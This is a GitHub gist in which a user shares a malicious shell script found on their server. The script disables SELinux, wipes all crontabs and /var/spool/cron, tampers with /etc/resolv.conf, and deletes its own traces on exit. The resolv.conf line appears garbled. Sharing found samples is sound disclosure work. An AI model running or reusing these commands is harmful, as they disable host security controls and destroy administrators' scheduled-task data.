Skip to content

Instantly share code, notes, and snippets.

Parth Mehrotra Parth

Block or report user

Report or block Parth

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile

Keybase proof

I hereby claim:

To claim this, I am signing this object:

Parth / gist:5c799039281a704c29308bd51963057d
Created Jul 5, 2018
Someone left this on one of my servers
View gist:5c799039281a704c29308bd51963057d
sleep 1
find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete
[ -f .mxff0 ] && exit 0
echo 0 > .mxff0
trap "rm -rf .m* .cmd tmp.* .r .dat $0" EXIT
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
crontab -r 2>/dev/null
rm -rf /var/spool/cron 2>/dev/null
grep -q /etc/resolv.conf || echo "nameserver" >> /etc/resolv.conf
You can’t perform that action at this time.